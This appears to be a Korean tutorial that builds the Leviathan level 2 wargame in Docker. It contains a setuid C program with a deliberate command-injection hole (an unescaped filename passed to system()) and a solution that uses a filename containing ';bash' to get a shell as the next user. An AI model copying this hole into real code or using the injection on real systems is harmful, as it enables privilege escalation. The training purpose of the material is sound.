[ Docker ] Leviathan Wargame 만들기 - 2번 문제 ( 4 / 8 )

1. Leviathan2 목표

There is no information for this level, intentionally.

 

2. Leviathan2 구현

# 비밀번호 root 입력 접속
ssh -oStrictHostKeyChecking=no root@localhost -p 2223

chown -R root:root /home/leviathan2/.[!.]*

chmod 755 /home/leviathan2

# leviathan3 유저를 생성하여 준다.
useradd leviathan3 && echo -e "f0n8h2iWLP\nf0n8h2iWLP" | passwd leviathan3

cat <<'EOF' > /tmp/printfile.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    char command[512];
    uid_t euid;

    if(argc < 2) 
    {
        printf("*** File Printer ***\n");
        printf("Usage: %s filename\n", argv[0]);
        return 1;
    }

    if(access(argv[1], R_OK) == -1) 
    {
        puts("You cant have that file...");
        return 1;
    }

    snprintf(command, sizeof(command), "/bin/cat %s", argv[1]);

    if (setreuid(geteuid(), geteuid()) == -1) 
    {
        perror("setreuid failed");
        return 1;
    }

    system(command);

    return 0;
}
EOF

gcc -o /home/leviathan2/printfile /tmp/printfile.c

chown leviathan3:leviathan2 /home/leviathan2/printfile

chmod 4550 /home/leviathan2/printfile

# 다음 패스워드가 담긴 파일을 생성한다.
echo 'f0n8h2iWLP' > /etc/leviathan_pass/leviathan3

chown leviathan3:leviathan3 /etc/leviathan_pass/leviathan3

chmod 400 /etc/leviathan_pass/leviathan3

exit

 

3. Leviathan2 문제풀의

# 비밀번호 : NsN1HwFoyN
ssh leviathan2@localhost -p 2223

# 호출 라이브러리 확인
ltrace /home/leviathan2/printfile /etc/leviathan_pass/leviathan2

TMP_FILE=$(mktemp '/tmp/XXXXX;bash')

/home/leviathan2/printfile "$TMP_FILE"

# 다음 문제 비밀번호를 확인
# f0n8h2iWLP
cat /etc/leviathan_pass/leviathan3